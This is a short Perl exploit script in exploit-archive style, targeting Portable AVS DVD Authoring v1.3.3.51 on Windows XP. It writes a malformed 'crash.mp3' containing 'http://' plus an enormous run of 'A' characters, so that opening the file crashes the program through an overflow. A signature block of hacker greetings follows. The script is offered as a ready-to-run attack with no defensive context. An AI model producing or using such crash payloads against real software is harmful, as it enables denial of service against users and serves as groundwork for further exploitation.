#C:\perl\bin
# Exploit Title: [Portable AVS DVD Authoring ]
# Date: [2010/4pr/05]
# Author: [R3d-D3v!L]
# Version: [v1.3.3.51]
# Tested on: [windows XP sp3]
# Coded by >x< coder :

my $file= "crash.mp3";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 8000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";

#[~]-----------------------------{((MAGOUSH-87))}---------------------------------------

#[~] Greetz tO: dolly & MERNA & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush-1987

#[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

#[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

#[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

#[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

#[~]spechial FR!ND: 74M3M

#[~] !'M 4R48!4N 3XPL0!73R.

#[~]{[(D!R 4ll 0R D!E)]};

#[~]---------------------------------------------------------------------------------------------